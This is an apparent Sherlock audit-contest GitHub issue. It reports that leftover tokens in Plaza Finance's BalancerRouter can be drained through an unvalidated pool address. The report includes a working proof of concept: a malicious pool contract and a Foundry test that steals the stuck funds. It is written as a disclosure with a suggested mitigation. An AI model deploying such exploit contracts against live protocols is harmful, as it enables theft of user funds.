Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Straight Tortilla Cougar - Leftover funds in BalancerRouter can be drained #1040

Open
sherlock-admin2 opened this issue Jan 23, 2025 · 0 comments

Comments

@sherlock-admin2
Copy link
Contributor

Straight Tortilla Cougar

High

Leftover funds in BalancerRouter can be drained

Summary

An issue caused by:

  • funds being left in the BalancerRouter contract due to exceeding the PreDeposit deposit cap in the `joinBalancerAndPredeposit`` flow;
  • and no validation of the _plazaPool address when calling [exitPlazaAndBalancer](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/BalancerRouter.sol#L92)

can lead to user funds being stolen by an attacker.

Root Cause

In PreDeposit.sol:125 , the amount transferred to the PreDeposit contract is lower than the amount the user has put in, due to filling the contract's capacity.

This scenario will lead to the difference between balancerPoolTokenReceived and the amount which was transferred to the PreDeposit contract to be left in the BalancerRouter contract.

Any user can withdraw these funds by calling exitPlazaAndBalancer, pointing to the address of a malicious _plazaPool, effectively stealing from users' deposits.

Internal Pre-conditions

  1. A user calls joinBalancerAndPredeposit with an amount which triggers the Predeposit contract capacity to be exceeded.
  2. This leads to the excess funds the user has sent to be left in the BalancerRouter contract

External Pre-conditions

No response

Attack Path

  1. Attacker deploys a malicious contract adhering to the Pool interface, which will return `balancerPoolToken.balanceOf(address(balancerRouter))whenredeem`` is called.
  2. Attacker calls exitBalancerAndPlazaPool

Impact

The attacker can drain user funds.

PoC

  1. Deploy the following PlazaPool contract:
contract MaliciousPlazaPool is Pool {

    IERC20 public balancerPoolToken;
    BalancerRouter public balancerRouter;

    constructor(address balancerRouterAddress, address balancerPoolTokenAddress) {
        balancerPoolToken = IERC20(balancerPoolTokenAddress);
        balancerRouter = BalancerRouter(balancerRouterAddress);
    }

    function redeem(TokenType tokenType, uint256 depositAmount, uint256 minAmount) public override whenNotPaused() nonReentrant() returns(uint256) {
        uint256 routerBalance = balancerPoolToken.balanceOf(address(balancerRouter));
        return routerBalance;
    }
}
  1. Place the following test in BalancerRouter.t.sol and run:
  function testExitPlazaAndBalancerExploit() public {
     // First join Balancer and Plaza to get some Plaza tokens

      PreDeposit predepositContract = PreDeposit(Utils.deploy(address(new PreDeposit()), abi.encodeCall(
      PreDeposit.initialize, 
      (params, address(poolFactory), block.timestamp, block.timestamp + 1 hours, 10 ether, "Bond ETH", "bondETH", "Leveraged ETH", "levETH")
    )));
    vm.startPrank(user);

    IAsset[] memory assets = new IAsset[](2);
    assets[0] = IAsset(address(asset1));
    assets[1] = IAsset(address(asset2));

    uint256[] memory maxAmountsIn = new uint256[](2);
    maxAmountsIn[0] = 1 ether;
    maxAmountsIn[1] = 1 ether;

    asset1.approve(address(router), 1 ether);
    asset2.approve(address(router), 1 ether);

    // Join first to get Plaza tokens - 15 ether will be returned
    uint256 plazaTokens = router.joinBalancerAndPredeposit(
      BALANCER_POOL_ID,
      address(predepositContract),
      assets,
      maxAmountsIn,
      ""
    );
    vm.stopPrank();
  
    // Create new malicious pool
    MaliciousPlazaPool maliciousPool = new MaliciousPlazaPool(address(router), address(balancerPoolToken));

    //5 ETH balance is stuck in the pool contract
    console.log(balancerPoolToken.balanceOf(address(router)));

    router.exitPlazaAndBalancer(
        BALANCER_POOL_ID,
        address(maliciousPool),
        assets,
        plazaTokens,
        maxAmountsIn,
        "",
        Pool.TokenType.BOND,
        0);
  }

Mitigation

Whenever the capacity of the PreDeposit contract is exceeded, return the remaining funds to the msg.sender

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant